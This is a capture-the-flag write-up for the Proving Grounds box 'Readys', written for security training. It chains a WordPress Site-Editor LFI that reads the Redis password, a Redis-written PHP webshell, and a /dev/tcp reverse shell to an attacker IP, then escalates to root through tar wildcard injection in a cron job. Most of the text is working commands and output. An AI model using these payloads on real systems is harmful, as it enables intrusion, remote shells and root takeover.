# Readys Writeup - Proving Grounds

> Intermediate Linux box where a WordPress plugin LFI leaks a Redis password used to plant a webshell for a shell as alice, then escalated to root through a tar wildcard injection in a cron job.

- **URL:** https://hackindex.io/writeups/readys
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** lfi, information-disclosure, wildcard-injection, privilege-escalation, wordpress, redis
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Readys runs WordPress with the vulnerable Site-Editor plugin, whose local file inclusion leaks the Redis password straight out of its config file. Redis is then used to plant a PHP webshell, which the same LFI triggers for a shell as `alice`, and a root cron job running `tar` on a wildcard path is hijacked for root.

## Reconnaissance

### Nmap and WPScan

Scan the target, then fingerprint the WordPress install.

```bash
nmap -sC -sV -p- $TARGET_IP
# 22/tcp   open ssh    OpenSSH 7.9p1
# 80/tcp   open http   Apache 2.4.38 ((Debian))
# 6379/tcp open redis  Redis key-value store
```

```bash
wpscan --url http://$TARGET_IP --enumerate ap,at,cb,dbe
# [+] WordPress version 5.7.2 identified
# [+] site-editor
#  | Location: http://$TARGET_IP/wp-content/plugins/site-editor/
#  | Site-Editor 1.1.1 - Local File Inclusion (EDB-44340)
```

Site-Editor 1.1.1's `ajax_shortcode_pattern.php` takes an `ajax_path` parameter that reads arbitrary files. Redis is open but requires authentication, so read its config through the LFI first.

## Exploitation

### LFI to Redis config disclosure

Read the Redis config file through the plugin's LFI.

```bash
curl "http://$TARGET_IP/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/redis/redis.conf"
# <snip>
# requirepass $REDIS_PASSWORD
```

### Redis webshell write

Authenticate to Redis and point its database dump at the plugin's writable uploads directory, saving a PHP payload as the dump file.

```bash
redis-cli -h $TARGET_IP -a '$REDIS_PASSWORD'
CONFIG SET dir /opt/redis-files/
CONFIG SET dbfilename shell.php
SET payload "<?php system($_GET['cmd']); ?>"
SAVE
# OK
# OK
# OK
# OK
```

### Trigger the webshell

Include the dumped file through the same LFI to execute it.

```bash
curl "http://$TARGET_IP/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/opt/redis-files/shell.php&cmd=id"
# uid=1000(alice) gid=1000(alice)
```

Command execution confirmed as `alice`. Upgrade to a reverse shell.

```bash
nc -lvnp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
```

```bash
curl "http://$TARGET_IP/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/opt/redis-files/shell.php&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT+0>%261'"
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# $ python3 -c 'import pty; pty.spawn("/bin/bash")'
# alice@readys:~$ id
# uid=1000(alice) gid=1000(alice)
```

Shell as `alice`.

## Privilege Escalation

### Tar wildcard injection

A root cron job runs every three minutes.

```bash
cat /etc/crontab
# */3 * * * * root /usr/local/bin/backup.sh
```

The script runs `tar -cf /opt/backups/website.tar *` from the world-writable `/var/www/html`. A wildcard passed to `tar` can be hijacked with specially named files that tar interprets as its own flags.

```bash
cd /var/www/html
echo '#!/bin/bash' > exploit.sh
echo 'chmod u+s /bin/bash' >> exploit.sh
chmod +x exploit.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=bash exploit.sh"
```

Wait up to three minutes for the cron job, which runs `tar` on these checkpoint files as root and executes the script.

```bash
watch -n 5 'ls -la /bin/bash'
# -rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
```

```bash
/bin/bash -p
# bash-5.0# id
# uid=1000(alice) gid=1000(alice) euid=0(root) egid=0(root)
```

SUID bash gives a root shell.

Related

## References

- [Exploit-DB 44340](https://www.exploit-db.com/exploits/44340) - WordPress Site-Editor 1.1.1 local file inclusion.